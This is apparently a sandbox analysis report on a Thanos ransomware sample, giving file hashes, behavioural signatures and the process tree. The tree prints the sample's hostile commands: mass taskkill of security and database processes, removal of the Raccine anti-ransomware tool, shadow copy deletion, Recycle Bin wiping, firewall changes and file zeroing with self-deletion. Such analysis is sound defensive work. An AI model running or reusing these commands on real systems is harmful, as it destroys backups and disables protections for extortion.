Overview

overview

10

Static

static

10

f261d0283d...27.exe

windows7_x64

10

f261d0283d...27.exe

windows10-2004_x64

10

Resubmissions

18-01-2022 15:29

220118-sw4ecsbhen 10

29-10-2021 12:17

211029-pf6m1aaabk 10

Analysis

  • max time kernel
    231s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 15:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f261d0283d9f1e346a648537b859570741c52be11b95e527a108037d71363327.exe

  • Size

    133KB

  • MD5

    91b493febfc1d782875a09fc076a8850

  • SHA1

    ed12cfbedc90181e869fce19dc820063fa6b3179

  • SHA256

    f261d0283d9f1e346a648537b859570741c52be11b95e527a108037d71363327

  • SHA512

    bb66d4d65f8f615e6af06f4815233a2a7430373e4afc5a61a2b2fff0dc9a6a002b4edad0db2a336b24dabd65efc3b74f57985836d137f25eb87a1901cfa4b9a9

Score
10/10
thanosevasionpersistenceransomware

Malware Config

Signatures

  • Detect the Prometheus's Thanos ransomware using the build ID and the Killproc strings. 1 IoCs

    Detect the Prometheus's Thanos ransomware.

    ransomware
  • Thanos Ransomware

    Ransomware-as-a-service (RaaS) sold through underground forums.

    ransomwarethanos
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Drops desktop.ini file(s) 6 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 48 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\f261d0283d9f1e346a648537b859570741c52be11b95e527a108037d71363327.exe
    "C:\Users\Admin\AppData\Local\Temp\f261d0283d9f1e346a648537b859570741c52be11b95e527a108037d71363327.exe"
    1⤵
    • Modifies extensions of user files
    • Drops startup file
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:780
    • C:\Windows\system32\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1096
    • C:\Windows\system32\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:1396
      • C:\Windows\system32\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:1732
      • C:\Windows\system32\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:1880
        • C:\Windows\system32\netsh.exe
          "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
          2⤵
            PID:1896
          • C:\Windows\system32\sc.exe
            "sc.exe" config Dnscache start= auto
            2⤵
              PID:1108
            • C:\Windows\system32\sc.exe
              "sc.exe" config FDResPub start= auto
              2⤵
                PID:1536
              • C:\Windows\system32\sc.exe
                "sc.exe" config SQLTELEMETRY start= disabled
                2⤵
                  PID:1728
                • C:\Windows\system32\sc.exe
                  "sc.exe" config SSDPSRV start= auto
                  2⤵
                    PID:1600
                  • C:\Windows\system32\sc.exe
                    "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                    2⤵
                      PID:1956
                    • C:\Windows\system32\sc.exe
                      "sc.exe" config SstpSvc start= disabled
                      2⤵
                        PID:1048
                      • C:\Windows\system32\sc.exe
                        "sc.exe" config upnphost start= auto
                        2⤵
                          PID:852
                        • C:\Windows\system32\sc.exe
                          "sc.exe" config SQLWriter start= disabled
                          2⤵
                            PID:1036
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:112
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:308
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM synctime.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:548
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1488
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM Ntrtscan.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:908
                          • C:\Windows\system32\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1748
                          • C:\Windows\system32\netsh.exe
                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                            2⤵
                              PID:1332
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM isqlplussvc.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1412
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM mydesktopservice.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1844
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM sqbcoreservice.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1384
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM firefoxconfig.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1348
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM encsvc.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:880
                            • C:\Windows\system32\taskkill.exe
                              "taskkill.exe" /IM onenote.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1828
                            • C:\Windows\system32\arp.exe
                              "arp" -a
                              2⤵
                                PID:1792
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM excel.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:360
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM agntsvc.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1888
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM PccNTMon.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1744
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM CNTAoSMgr.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1736
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM thebat.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1908
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM msaccess.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1692
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM sqlwriter.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1772
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM steam.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1560
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM outlook.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:900
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM dbsnmp.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1028
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM tbirdconfig.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1648
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM tmlisten.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1860
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM dbeng50.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:1156
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM xfssvccon.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:848
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM msftesql.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:824
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM thebat64.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1660
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM wordpad.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:992
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM powerpnt.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:1372
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM mysqld-opt.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1824
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM ocomm.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:1344
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM mydesktopqos.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1012
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM ocautoupds.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:772
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM infopath.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1780
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM ocssd.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1848
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM visio.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:564
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM oracle.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1856
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM mbamtray.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1724
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM mydesktopservice.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1832
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM sqlagent.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1180
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM winword.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1612
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM zoolz.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1604
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM mysqld-nt.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1792
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM sqlbrowser.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1372
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" IM thunderbird.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1156
                              • C:\Windows\system32\taskkill.exe
                                "taskkill.exe" /IM sqlservr.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1412
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                                2⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:824
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                2⤵
                                  PID:884
                                • C:\Windows\system32\netsh.exe
                                  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                  2⤵
                                    PID:1608
                                  • C:\Windows\system32\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                    2⤵
                                      PID:1332
                                    • C:\Windows\system32\arp.exe
                                      "arp" -a
                                      2⤵
                                        PID:1108
                                      • C:\Windows\System32\mshta.exe
                                        "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_RECOVER_MY_FILES !.hta
                                        2⤵
                                        • Modifies Internet Explorer settings
                                        • Suspicious use of FindShellTrayWindow
                                        PID:1372
                                      • C:\Windows\system32\cmd.exe
                                        "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                        2⤵
                                          PID:1156
                                          • C:\Windows\system32\PING.EXE
                                            ping 127.0.0.7 -n 3
                                            3⤵
                                            • Runs ping.exe
                                            PID:1536
                                          • C:\Windows\system32\fsutil.exe
                                            fsutil file setZeroData offset=0 length=524288 “%s”
                                            3⤵
                                              PID:2044
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\f261d0283d9f1e346a648537b859570741c52be11b95e527a108037d71363327.exe
                                            2⤵
                                            • Deletes itself
                                            PID:2024
                                            • C:\Windows\system32\choice.exe
                                              choice /C Y /N /D Y /T 3
                                              3⤵
                                                PID:1820
                                          • C:\Windows\system32\NOTEPAD.EXE
                                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\HOW_TO_RECOVER_MY_FILES !.txt
                                            1⤵
                                              PID:1908
                                            • C:\Windows\system32\NOTEPAD.EXE
                                              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\HOW_TO_RECOVER_MY_FILES !.txt
                                              1⤵
                                                PID:1592

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\Users\Admin\Desktop\HOW_TO_RECOVER_MY_FILES !.txt
                                                MD5

                                                1d35da07af186a0b8c6cdc47e1978757

                                                SHA1

                                                778f198e018a431020d481bc09dd98181c5c55ac

                                                SHA256

                                                2561374e559977f3f4f425828d61bf9810c13ec44ec495a15e9f302697438402

                                                SHA512

                                                3874fe35fcc406bd0c6be88c2bdb3cd705233c0bc13bd80dc05dcc433067c3114cef5c164f495f7d336d0f8f0e9a0c6cc9aa692dd3c993f98432cf3eda01e721

                                                Download Submit

                                              • C:\Users\Public\Desktop\HOW_TO_RECOVER_MY_FILES !.txt
                                                MD5

                                                1d35da07af186a0b8c6cdc47e1978757

                                                SHA1

                                                778f198e018a431020d481bc09dd98181c5c55ac

                                                SHA256

                                                2561374e559977f3f4f425828d61bf9810c13ec44ec495a15e9f302697438402

                                                SHA512

                                                3874fe35fcc406bd0c6be88c2bdb3cd705233c0bc13bd80dc05dcc433067c3114cef5c164f495f7d336d0f8f0e9a0c6cc9aa692dd3c993f98432cf3eda01e721

                                                Download Submit

                                              • memory/780-55-0x00000000011C0000-0x00000000011E8000-memory.dmp

                                                Filesize

                                                160KB

                                                Download

                                              • memory/780-56-0x0000000000BA0000-0x0000000000BA2000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/824-60-0x000007FEEB880000-0x000007FEEC3DD000-memory.dmp

                                                Filesize

                                                11.4MB

                                                Download

                                              • memory/824-61-0x00000000023B0000-0x00000000023B2000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/824-62-0x00000000023B2000-0x00000000023B4000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/824-63-0x00000000023B4000-0x00000000023B7000-memory.dmp

                                                Filesize

                                                12KB

                                                Download

                                              • memory/824-64-0x000000001B740000-0x000000001BA3F000-memory.dmp

                                                Filesize

                                                3.0MB

                                                Download

                                              • memory/824-65-0x00000000023BB000-0x00000000023DA000-memory.dmp

                                                Filesize

                                                124KB

                                                Download

                                              • memory/1896-57-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

                                                Filesize

                                                8KB

                                                Download